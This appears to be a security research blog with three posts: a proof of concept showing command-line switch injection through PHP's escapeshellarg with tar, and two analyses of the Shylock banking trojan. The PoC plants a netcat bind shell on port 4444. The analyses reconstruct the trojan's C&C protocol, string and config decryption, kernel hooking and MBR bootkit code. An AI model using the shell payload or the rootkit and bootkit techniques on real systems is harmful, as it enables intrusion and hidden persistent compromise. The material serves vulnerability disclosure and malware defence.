Wednesday, 13 November 2013

Security issues with using PHP's escapeshellarg

Using user supplied data on the command line is traditionally a security disaster waiting to happen. In an infinite universe there are however times when you might need to do just that. You will be glad to know that PHP provides two functions to aid you with security in those situations: escapeshellcmd and escapeshellarg.
The PHP documentation defines these functions as: 
  • escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the exec() or system() functions, or to the backtick operator.
    Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

  • escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.

There are some caveats around the use of these functions which the documentation doesn't cover, command line switches inside single quotes are still treated as command line switches. For example: ls '--help' will print the help text for the ls command. Thus it may be possible to inject data to alter the intended execution, typically referred to as command injection. In order to illustrate this bug I have created a simple proof of concept script which will spawn a bind shell on port 4444 by diverting the execution of tar with command line switches:

# PoC exploit of php not escaping dash characters in escapeshellarg/cmd
# Reference:
# Written by Eldar "Wireghoul" Marcussen

# Create a malicious file:

$fh fopen('myfile.png''w');
fwrite($fh"<?php system('nc -lvp 4444 -e /bin/bash'); echo 'WINRAR!'; ?>");

# I choose to use php here, you could use whatever binary you like

$safe_opts escapeshellarg('--use-compress-program=php');
$safe_file escapeshellarg('myfile.png'); # Really a php script with a .png extension
system("tar $safe_opts -cf export.tar $safe_file");

The response from the PHP security team is that this is expected behavior, and that it is not possible to protect programs that use parameters in unsafe ways. While I understand their point of view, I still feel that the documentation does not clearly highlight the potential risk around using escapeshellarg. And if you are doing source code reviews I would take a closer look at any operation which relies on escapeshellarg to sanitise user supplied input.

Thursday, 5 September 2013

The Merchant of Venice Marches on Italy

As if to prove its name, the latest variant of Shylock has now extended its geography to cover Italian banks. Quite an ironic twist, isn't it?

Armed with an improved protection layer, it is now harder to detect too, fetching only 2 detections out of 45.

The anti-VM tricks employed by Shylock can fortunately be defeated by StrongOD, a handy plugin for OllyDbg. So let's roll up our sleeves and give it a closer look.

The previous post on Shylock has provided on overview of its operation and its encryption schemes. What we aim this time is to actually try to reconstruct the entire encryption/decryption algorithm in a stand-alone tool, a tool that will allow us to fetch and then decrypt Shylock configuration files along with the so called 'Inject Packs'.

Shylock configuration files normally enlist current command-and-control (C&C) servers along with the location of the 'Inject Packs' - larger configurations that define browser injection logic, that is, what banks to target and how. By downloading and decrypting configuration files from the known live C&C servers, we'll be able to find out what the newly registered C&C are. By fetching 'Inject Packs' from these servers, we'll know what new tricks are implanted there and what new regions are being targeted.

The C&C domains that we thus detect will be handy in monitoring the traffic. Since all communications are SSL, they can't be sniffed, but the presence of the Shylock domains in the traffic is a sure sign of 'Houston, we have a problem'.

The sample we've analysed contains a built-in configuration stub that enlists 3 hard-coded C&C servers followed by 2 backup C&C servers:






The first 3 C&C servers are now down but the back-up ones point to the same IP ( in Germany.

Sending it a packet encrypted the same way as we did last time no longer works - the server returns us a string which is our IP address. So clearly something has changed. To find out what was changed, we'll need to reconstruct the entire communication logic of Shylock step-by-step, by combining dynamic and static analysis of the sample. For that, we firstly dumped the memory heap pages where the Shylock executable has unpacked itself. Next, we decrypted all the strings in that dump (753 strings), and built a table of all hashes of all APIs from all modules loaded by Shylock (28,500 hashes). After that, we were able to reverse engineer its new logic, and this is what we've found:

The Shylock request now needs to be submitted via 'POST'. In addition, the C&C server now requires that the User-Agent header provided be formatted as:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.<NUMBER>)

Where <NUMBER> is a 4-digit number composed of the numbers collected from the bot ID string, from left to right.

For example, if the bot ID was "6A3B21C...", then the <NUMBER> field in the User-Agent string above should be "6321". If it's not, the server replies with an IP address of the connected client (our own IP), an indication that the server has rejected the connection as unauthorised.

Fetching the configuration file from returns a new list of C&C servers:



The geography of the destination IP addresses is also wider (US, Netherlands, Ukraine):
The 'Inject Pack' lives at /files/hidden7710777.jpg. This location is different from the one hard-coded within the malware mini-stub: /files/hidden7770777.jpg, so let's fetch both.

The downloaded file is an encrypted/compressed binary file that starts from the signature 0x11223344. Following the signature, the next DWORD specifies if the file is encrypted (flag 1), and/or compressed (flag 2). In our case the file is both encrypted and compressed, as the 4-byte field is set to 0x00000003 (1 + 2).

A WORD at the file offset 0x0C contains a checksum of the file (we won't replicate the hash calculation logic as we trust the file we download is authentic and not corrupted), and the next DWORD specifies an encryption key that the file is encrypted with.

The decryption function can be reconstructed as:
unsigned int DecodeBuffer(LPDWORD lpdwKey, int abyBuffer, unsigned int dwSize)
   unsigned int i = 0;
   unsigned int result;

   if (abyBuffer && dwSize > 0)
         *(BYTE *)(i + abyBuffer) ^= *(BYTE *)lpdwKey;
         result = (845 * *(DWORD *)lpdwKey + 577) / 0xFFFFFFFFu;
         *(DWORD *)lpdwKey = (845 * *(DWORD *)lpdwKey + 577) % 0xFFFFFFFFu;
      while (i < dwSize);
   return result;

The actual encrypted bytes start from the file offset 0x1a within the file.

After the 'Inject Pack' is decrypted, it is then uncompressed with zlib v1.2.3 algorithm. Shylock used the source code of zlib as we see a 100% match with the zlib open source project. One fast way to uncompress the decrypted file at this point is to save the decrypted buffer as a .gz file, and then uncompress it with the 7-Zip utility.

The decompressed 'Inject Pack' has a binary header that specifies other text files underneath, such as az_sooba.txt, az.txt, cc.txt, chat_chagas.txt, chat_phone_replace.txt, chat_sooba.txt, but at this point it is perfectly readable with a text editor.

The inclusion of a number of Italian banks in its logic does not look good.

Putting it all together

The entire encryption/decryption logic of Shylock used during its communication with the command-and-control server was fully reverse-engineered and then closely replicated in a stand-alone tool.

We are releasing the tool along with its source code in the hope that it will help researchers to query Shylock's command-and-control servers both for configuration files and for 'Inject Packs', in order to learn what new servers are being added, and what new banks are being targeted. We are hoping that such early discovery will help both security researchers and the banks to be better prepared for the new tricks that must surely be up Shylock's sleeves. Early identification of new C&C domains will also help network administrators to detect Shylock traffic within their networks and act to block access from any infected hosts.

Tuesday, 19 March 2013

Pray Before You Buy With Shylock

"I will buy with you, sell with you, talk with you, walk with you, and so following;    
but I will not eat with you, drink with you, nor pray with you"    

Shylock, 1.3.37    
The Merchant of Venice, Shakespeare, 1564    

Shylock-The-Trojan will indeed talk to you via Skype; walk with you while you browse Internet or while you buy or sell online. Ironically, this Man-in-the-browser (MitB) trojan considers the homeland of Shakespeare its target #1.

Being a banking trojan that targets multiple banking institutions, it employs a plug-in architecture that allows complementing the main 'framework' with additional functionality. Shylock plug-ins are DLLs with the exports:
  • Destroy()

  • Init()

  • Start()

This description enlists main Shylock's components, one-by-one.


Shylock driver is a kernel-mode rootkit that is designed to hide files, processes, registry entries, and traffic that is associated with Shylock. In addition to that, it also switches off Windows UAC by resetting the value:

EnableLUA = 0x00000000

With UAC disabled, Windows Vista/7/8 will no longer prompt for consent or for credentials for a valid administrator account before launching a Shylock executable, allowing it to start silently.

If the Windows version is Vista, 7, or 8, it will obtain "NSI proxy" driver and then it will hook its IRP_MJ_DEVICE_CONTROL dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL dispatch routine within TCP driver.

The reason why Shylock hooks "NSI proxy" driver is to hide itself from netstat - a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.

Whenever netstat is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N from the list is made by rewriting its contents with the contents of the element N+1, and then decrementing the total number of list elements by 1. As a result, the list of enumerated connections that is returned by netstat will never contain any active connections that are held by Shylock's user-mode components.

Here is the reconstructed logic of the hooker:

if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
    RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
    status = IoGetDeviceObjectPointer(&uniTcpDevice, 
                                      &DeviceObject); // return device object
    status2 = status;
    if (status >= 0) // if status is OK
       driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
       IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
       fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
       if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
          hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;
replace_original_IRP:               // swap original pointer with the hook

          _InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL, 
          return 0;
       return 0;
    ms_exc.disabled = -1;
    return status;
RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName, 
                                 &pNsiDrvObj); // get driver object
status2 = status;
if (status < 0)
   goto exit;

IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means 
                                           // MajorFunction[IRP_MJ_DEVICE_CONTROL]

fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);

if (fn_IRP_MJ_DEVICE_CONTROL_2)  // if the returned dispatch routine is Ok
   hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
   goto replace_original_IRP;  // get the hooked DeviceIoControl, 
                               // and swap it with the original one

The +0x70 offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL] within the driver object.

Here is why:
the driver object structure is declared as:

#define IRP_MJ_MAXIMUM_FUNCTION         0x1b
typedef struct _DRIVER_OBJECT {
  /* 2 */  CSHORT Type;                          // offset = 0x00
  /* 2 */  CSHORT Size;                          // offset = 0x02
  /* 4 */  PDEVICE_OBJECT DeviceObject;          // offset = 0x04
  /* 4 */  ULONG Flags;                          // offset = 0x08
  /* 4 */  PVOID DriverStart;                    // offset = 0x0c
  /* 4 */  ULONG DriverSize;                     // offset = 0x10
  /* 4 */  PVOID DriverSection;                  // offset = 0x14
  /* 4 */  PDRIVER_EXTENSION DriverExtension;    // offset = 0x18
  /* 4 */  UNICODE_STRING DriverName;            // offset = 0x1c
  /* 8 */  PUNICODE_STRING HardwareDatabase;     // offset = 0x24
  /* 4 */  PFAST_IO_DISPATCH FastIoDispatch;     // offset = 0x28
  /* 4 */  PDRIVER_INITIALIZE DriverInit;        // offset = 0x2c
  /* 4 */  PDRIVER_STARTIO DriverStartIo;        // offset = 0x30
  /* 4 */  PDRIVER_UNLOAD DriverUnload;          // offset = 0x34
     MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38

Its MajorFunction list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c elements, and its offset in the structure is 0x38. To find out what dispatch routine is references by the offset 0x70, the offset 0x70 needs to be subtracted with 0x38 (list's offset within the structure), and divided by 4 (size of each pointer within the list):

(0x70 - 0x38) / 4 = 0x0e

The 15th (0x0e) element of the dispatch routines is declared as:


Knowing that, the source code of the Shylock driver can be reconstructed into a meaningful format, that can now be searched online to see where the Shylock authors may have stolen that code from. Why stolen? Given the complexity of this code on one hand, and the ROI (return-on-investment) principle on the other, malware products like Shylock often result from integration of the solutions that are already available on the 'market'. In the end of the day, it's much easier for them to find a code snippet online, and then plug into the malware.

Shylock driver is not different - here is the snippet of code that they have 'borrowed'. By having access to the same source, we can compile and debug the very same code, only now having the privilege of stepping through the code with the help of a tool VisualDDK, and seeing exactly how Shylock driver places its hooks and how those hooks affect netstat.

Below is a screenshot of the driver code in action. At the breakpoint seen below, the code is replacing the N-th TCP entry with the TCP entry N+1 (TcpEntry[i] <- data-blogger-escaped-code="">TcpEntry[i+1]):

The local entry's port number in our example is 139 (or 0x8B00 after applying htons() to it). As a result, any connections that involve port 139 disappear from the netstat output:

Apart from the IRP hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL dispatch routines of Tcp and Nsi Proxy drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:
  • ZwEnumerateKey

  • ZwEnumerateValueKey

  • ZwQuerySystemInformation

  • ZwQueryDirectoryFile

  • ZwAllocateVirtualMemory

The KeServiceDescriptorTable patching is surrounded with a conventional cli/sti blocks: the cli-block disables interrupts and removes the write protection, the sti-block restores everything back:

.text:000130AC   cli                     ; disable interrupts
.text:000130AD   mov   eax, cr0          ; get CR0
.text:000130B0   and   eax, 0FFFEFFFFh   ; reset Write Protect flag, when clear, 
                                         ; allows supervisor-level procedures
                                         ; to write into read-only pages
.text:000130B5   mov   cr0, eax          ; save it back into CR0

.text:000130B8   mov   eax, KeServiceDescriptorTable
.text:000130BD   mov   eax, [eax]
.text:000130BF   mov   dword ptr [ecx+eax], offset hook_ZwEnumerateKey
.text:000130C6   mov   eax, KeServiceDescriptorTable
.text:000130CB   mov   eax, [eax]
.text:000130CD   mov   ecx, [ebp+var_14]
.text:000130D0   mov   dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
.text:000130D7   mov   eax, KeServiceDescriptorTable
.text:000130DC   mov   eax, [eax]
.text:000130DE   mov   dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
.text:000130E5   mov   eax, KeServiceDescriptorTable
.text:000130EA   mov   eax, [eax]
.text:000130EC   mov   dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile

.text:000130F3   mov   eax, cr0            ; get CR0 (with the cleared WP flag)
.text:000130F6   or    eax, offset _10000H ; set Write Protect flag to prevent
                                           ; writing into read-only pages;
.text:000130FB   mov   cr0, eax            ; save it back into CR0
.text:000130FE   sti                       ; allow interrupts

The hook_ZwQuerySystemInformation is handling those ZwQuerySystemInformation() calls that query for SystemProcessInformation type of system information, and is basically a rip-off of Greg Hoglund's process hider.

Skype Replicator

The Skype replicator component of Shylock relies on Skype Control API that uses window messages for communication with Skype.

First, it broadcasts SkypeControlAPIDiscover message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach message.

Next, Shylock starts controlling Skype via Control API by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow, second is Deny. Next, it will attempt to send a click to the Allow button in order to trick Skype into accepting it as a client:

As soon as the click is submitted, the client is accepted, as demonstrated with the debugged code below:

Once Shylocks tricks Skype into accepting it as a client, it starts sending out messages to the contacts found in Skype. Any messages that Skype sends are stored in Skype's main.db file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.

Shylock also tries to switch off sound alert settings within Skype by sending 'clicks' to its option window so that all the communications it initiates are carried out silently, without drawing any attention from the end user.

The Skype component of Shylock communicates with the remote server by submitting it installation details of Skype and fetching the configuration data for its own functionality.


BackSocks component of Shylock is a fully functional reverse (backconnect) SOCKS proxy server that is based on the source code of a legitimate proxy server 3Proxy, developed by 3APA3A ('zaraza', or 'contagion").

The SOCKS proxy allows the external attackers to tunnel their traffic through the compromised PC into internal (corporate) network. The connection with the proxy server is not established in a classic way where a backdoor trojan opens up a port and accepts incoming connections from the remote attacker - these schemes no longer work due to the wide adoption of NAT/firewalls. Instead, the SOCKS proxy initiates the reverse connection to the remote server (back-connects to it), and once that connection is established, the proxy server starts tunneling the traffic into internal network, as if the external attacker was physically located within the internal network.

By having access to the internal network through the SOCKS proxy, Shylock may access internal resources such as mail server, source control server, domain controllers etc.

Ability to hide from netstat any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.


In order to install the driver, Shylock engages a bootkit module that relies on an infection of the Master Boot Record (MBR). The bootkit module is a PE-executable that is protected with a run-time packer.

When run, the bootkit executable first checks if the following files can be open, and if not (e.g. these files do not exist), it continues:
  • C:\GRLDR

  • C:\XELDZ

The bootkit can be started from the following start-up registry entry:

FlashPlayerUpdate = %PATH_TO_BOOTKIT%

Next, it enumerates first 8 physical drives (#0 - #7) connected to the local computer, starting from the driver #0:

For every drive, it invokes the MBR infection routine. The routine starts from reading the drive geometry parameters with DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY).

Next, it reads the first 512 bytes from the sector #0 (MBR), and then checks if its last 2 bytes are 55AA - a signature that identifies a bootable drive.

If the drive is not bootable, it is skipped:

.text:004024E9   xor     ebx, ebx        ; EBX is 0
.text:0040255E   push    ebx             ; dwMoveMethod = 0
.text:0040255F   push    ebx             ; lpDistanceToMoveHigh = 0
.text:00402560   push    ebx             ; lDistanceToMove = 0
.text:00402561   push    edi             ; hFile
.text:00402562   call    ds:SetFilePointer ; set pointer at offset 0
.text:00402568   push    ebx             ; lpOverlapped
.text:00402569   lea     eax, [ebp+NumberOfBytesRead]
.text:0040256C   push    eax             ; lpNumberOfBytesRead
.text:0040256D   push    512             ; nNumberOfBytesToRead
.text:00402572   lea     eax, [ebp+Buffer]
.text:00402578   push    eax             ; lpBuffer
.text:00402579   push    edi             ; hFile
.text:0040257A   call    ds:ReadFile     ; read 512 bytes
.text:00402580   call    esi ; GetLastError
.text:00402582   test    eax, eax
.text:00402584   jnz     next_drive      ; if error, skip it
.text:0040258A   mov     eax, 0AA55h     ; compare last 2 bytes
.text:0040258F   cmp     [ebp+_510], ax  ; (512-2) with 55AA-signature
.text:00402596   jnz     short close_handle_next_drive

If the drive is bootable, the bootkit will encrypt the original MBR copy with a random XOR key, and then, it will save the encrypted MBR copy into the sector #57.

The bootkit stores its components in the 4 sectors: #58, #59, #60, #61, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end).

Once it writes all the sectors, it tries to delete itself by running the following command with the command line interpreter:
/c ping -n 2 & del /q "%PATH_TO_BOOTKIT%" >> nul

The ping-command with -n switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.

Master Boot Record (MBR)

The MBR is infected with a code that is similar to other bootkits such as Mebroot or eEye BootRoot.

MBR code performs the following actions:

First, it reads 4 sectors: #58, #59, #60, #61 into the memory at 0x7E00 that immediately follows the MBR code loaded at address 0x7c00. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.

The new memory area has address 0x9E000, that is formed as segment register * 16 + offset of 0:
0x9E00 << 4 + 0 = 0x9E000.

Next, the code locates the XOR key that is stored at the offset 0x5c. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57 into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0.

Still running in the newly allocated area, the code will then restore remaining bytes from its own offset 0x10D till 0x18F, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT) #13h - this interrupt is used to read sectors.

Once the INT 13h hook handler is decoded, the original INT 13h vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0:

MEM:9E0F0   mov   eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
MEM:9E0F4   mov   dword ptr es:INT13HANDLER, eax  ; save into JMP instr below
MEM:9E0F9   mov   word ptr ds:offset_4c, offset Int13Hook  ; place the hook
MEM:9E0FF   mov   word ptr ds:offset_4e, es
MEM:9E103   sti
MEM:9E104   popad
MEM:9E106   pop   ds
MEM:9E107   pop   sp
MEM:9E108   jmp   start ; just to BOOTORG (0000h:7C00h)

With the INT 13h replaced, the original vector stored at ds:offset_4c will now contain 9E10D - the address of the INT 13h hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h call will eventually be invoked by MBR code - this is when the hook handler will be activated.

The INT 13H hook handler is interested in 2 types of INT 13 - normal sector read and an extended one used with the larger disks, as shown below:

MEM:9E10D Int13Hook proc far
MEM:9E10D    pushf                 ; handle two types of INT 13 below:
MEM:9E10E    cmp     ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E111    jz      short Int13Hook_ReadRequest
MEM:9E113    cmp     ah, 2         ; 2) DISK - READ SECTOR(S) INTO MEMORY
MEM:9E116    jz      short Int13Hook_ReadRequest
MEM:9E118    popf
MEM:9E119    [jmp opcode, followed with the original INT 13 vector]
MEM:9E11A INT13HANDLER    db 4 dup(0) ; original vector is stored here
MEM:9E11E Int13Hook_ReadRequest:
MEM:9E11E    mov     byte ptr cs:INT13LASTFUNCTION, ah
MEM:9E123    popf
MEM:9E124    pushf                             ; push Flags, simulating INT
MEM:9E125    call    dword ptr cs:INT13HANDLER ; call original handler
MEM:9E12A    jb      short Int13Hook_ret       ; quit if failed
MEM:9E12C    pushf
MEM:9E12D    cli
MEM:9E12E    push    es
MEM:9E12F    pusha
MEM:9E130    [mov ah, ??] opcode - operand is patched at MEM:9E11E
MEM:9E131    [mov ah, ??] operand, 0 by default
MEM:9E132    cmp     ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E135    jnz     short Int13Hook_notextread
MEM:9E137    lodsw
MEM:9E138    lodsw
MEM:9E139    les     bx, [si]
MEM:9E13B    assume es:nothing

The handler then scans and patches the code of OSLOADER module (part of NTLDR) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.

To patch it in the right place, the scanner is looking for bytes F0 85 F6 74 21 80, as shown below:

MEM:9E149 Int13Hook_scan_loop:
MEM:9E149   repne scasb
MEM:9E14B   jnz     short Int13Hook_scan_done
MEM:9E14D   cmp     dword ptr es:[di], 74F685F0h ; F0 85 F6 74
MEM:9E155   jnz     short Int13Hook_scan_loop
MEM:9E157   cmp     word ptr es:[di+4], 8021h    ; 21 80
MEM:9E15D   jnz     short Int13Hook_scan_loop

These bytes correspond to the following code of the original loader:

.text:00422A6A E8 C2 12 00 00             call    near ptr unk_47DE1
.text:00422A6F 8B F0                      mov     esi, eax
.text:00422A71 85 F6                      test    esi, esi
.text:00422A73 74 21                      jz      short loc_46B46
.text:00422A75 80 3D F8 AE 43 00 00       cmp     byte_43AEF8, 0

Once these bytes are found within OSLOADER, the kernel patch from the sector #58 is applied to the loader, by directly overwriting its bytes:

The patched loader code may now look like this (compare to the original loader code above):

.text:00422A6A E8 C2 12 00 00         call    near ptr unk_47DE1
.text:00422A6F B8 33 E2 09 00         mov     eax, offset off_9E233
.text:00422A74 FF D0                  call    eax ; off_9E233
.text:00422A76 90                     nop
.text:00422A77 90                     nop
.text:00422A78 90                     nop
.text:00422A79 90                     nop
.text:00422A7A 90                     nop
.text:00422A7B 90                     nop
.text:00422A7C 90                     nop

The address off_9E233 points to the code loaded from the sectors #58-#61, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.

Main Shylock Module

Main Shylock module is an executable that injects its code into other processes, communicates with C&C and fetches configuration files and plug-ins, fully monitors browsers Internet Explorer and Firefox, and provides full backdoor access to the compromised system. It is the remote configuration files that define its logic, such as what online banking sessions to intercept and how.

Shylock is a VM-aware threat: its anti-sandboxing code enumerates all the drivers installed on a compromised system, and for every driver it calculates a hash of its name; if the returned name hash is black-listed, Shylock will exit.

For example, on a snapshot below, Shylock returns a hash of 0x2FE483F3 for an enumerated driver vmscsi.sys (part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3, and in case of a match, it quits.

In order to complicate code analysis and emulation, Shylock always calls APIs by their hashes. For instance, GetCommandLineA() is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E:

The API hash calculation algorithm is trivial:

DWORD GetHash(char *szApi)
   DWORD dwHash = 0;
   for (DWORD i = 0; i < strlen(szApi); i++)
      BYTE b = szApi[i];
      dwHash ^= b;
         ror dwHash, 3
      if (b == 0)
   return dwHash;

Shylock spawns separate threads for different plugins. For example, it injects BackSocks server DLL into svchost.exe and starts a remote thread in it.

The trojan checks the host process name, and depending on the name, it installs different user-mode hooks for the process.

If the host process is FireFox browser (FIREFOX.EXE), it will load nss3.dll and nspr4.dll. Next, it will place these hooks:

  • PR_Read

  • PR_Write

  • PR_Close

  • CERT_VerifyCertName

  • CERT_VerifyCertNow

If the host process Internet Explorer (IEXPLORE.EXE), it will load mshtml.dll and then place following hooks:

  • send

  • HttpOpenRequestA/W

  • HttpSendRequestA/W

  • HttpSendRequestExA/W

  • InternetReadFile

  • InternetReadFileExA/W

  • InternetCloseHandle

  • InternetQueryDataAvailable

  • InternetSetStatusCallback

In case the host process is Windows Explorer (EXPLORER.EXE) or system processes USERINIT.EXE or RUNDLL32.EXE, then it will hook:

  • NtCreateThread/ZwCreateThread

  • NtCreateUserProcess/ZwCreateUserProcess

  • NtEnumerateValueKey/ZwEnumerateValueKey

  • NtQueryDirectoryFile/ZwQueryDirectoryFile

  • ExitWindowsEx

  • GetMessageW

  • HeapDestroy

  • InitiateSystemShutdownExW

The purpose of the hooks above is to inject into newly launched processes and to hide its file/registry entries. If the user shuts down Windows, the hook handler will attempt to recreate the files and the start-up registry entries, in order to persist even the user has partially deleted this threat.

Once activated, Shylock deletes all Firefox cookies. Next, it searches for and overwrites user.js files found in %APPDATA%\Mozilla\Firefox\Profiles directory, thus manipulating the following security settings of the Firefox browser:

security.enable_tls = false
network.http.accept-encoding = ""
secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
security.warn_viewing_mixed.show_once = false
security.warn_submit_insecure = false
security.warn_submit_insecure.show_once = false

For example, whenever insecure form information is submitted, the "Security Warning" dialogue will not be displayed by Firefox - this will allow Shylock to have no objections from the browser when it tries to work with fake/redirected sites.

It can also delete and upload Flash Player cookies (Local Shared Object - SOL files) stored in %APPDATA%\Macromedia\Flash Player\\support\flashplayer\sys directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.

Internally, Shylock distinguishes itself running in one of 3 modes:
  • master

  • slave

  • plugin

The 'master' is responsible for communication with the remote server, namely sending 'beacon' signals to the server, posting detailed computer information, reports/files, posting error logs, and polling the remote C&C server for configuration files on injection/redirection and other execution parameters. The 'master' may spawn a thread that will record the video of everything that occurs on the screen, and then upload the video to the remote server. In order to 'talk' to the 'slaves' and 'plugins', that are injected into other running processes, the 'master' uses Interprocess Communication Mechanism (IPC) via a named memory pipe that allows sharing data across all Shylock components running within the different processes.

Shylock executable has a dedicated configuration stub in its image that is similar to ZeuS. For example, the C&C URLs and injections configuration file name are hard-coded in that stub as:



  • /files/hidden7770777.jpg

The usage of a stub suggests that Shylock executable is most likely compiled once with an empty stub, and then is dynamically 'patched' by a builder to embed different C&C URLs in it, with the string encryption routine being part of the builder.

One of the configuration stub fields contains a timestamp of the date and time when the executable was generated. Shylock makes an attempt to avoid execution if current time is past the compilation time by more than 2 hours. But either due to a bug or a 'feature', the 2-hour time span ignores months, so it will run on a same day of every month of the same year, but only within the 2-hour 'window'. If Shylock is executed outside that window, it will quit. The 2-hour span means that Shylock allows only 'fresh' installations/executions of itself, when the C&C embedded into executable are live, or otherwise, it is risking to be exposed by constantly pinging non-existent (or taken down) domains, ringing all the bells within intrusion/anomaly detection systems.

All strings are encrypted with a random key that is stored together with an encrypted string. The key is saved into 4 bytes, is followed by 4 zero-bytes, and then followed with the encrypted data. The code decrypts the strings on-the-fly: first, it makes an integrity check by applying the key to the encrypted data and making sure the original string has at least 2 characters in it. Next, it decrypts the string itself.

The reconstructed string checker and decryptor would look like:

int iGetEncodedStringLen(DWORD dwKey, char *szString)
    int iResult;
    int iCount;
    if (szString)
        iCount = 0;
        if ((BYTE)dwKey ^ *(LPBYTE)szString)
                dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
            while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
        iResult = iCount;
        iResult = 0;
    return iResult;

void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
    char b1;
    char b2;
    bool bEndOfString;
    if (szEncrypted)
        while (1)
            b1 = *(LPBYTE)szEncrypted;
            b2 = dwKey ^ *(LPBYTE)szEncrypted;
            *(LPBYTE)szEncrypted = b2;
            if (iFlag == 1)
                bEndOfString = b2 == 0;
                if (iFlag)
                    goto skip_check;
                bEndOfString = b1 == 0;
            if (bEndOfString)
            szEncrypted = (char *)szEncrypted + 1;
            dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;

so that the encrypted C&C URL below:

char szTest[] = "\xE7\xEB\xBB\x91"             // key
                "\x00\x00\x00\x00"             // 4 zeroes

can now be decrypted as:

if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
    DecodeString(szTest + 8, *(DWORD*)szTest, 1);
    MessageBoxA(NULL, szTest + 8, NULL, MB_OK);

A stand-alone tool that relies on such decryptor allows decrypting and patching all 751 strings within the Shylock executable to further facilitate its static analysis.

When Shylock communicates with the remote C&C server, it relies on HTTPS. Apart from that, the transferred data is encrypted with RC4 algorithm. Shylock takes one of C&C server URLs stored in its configuration stub, and prepends it with a random string, delimited with a dot. For example, becomes

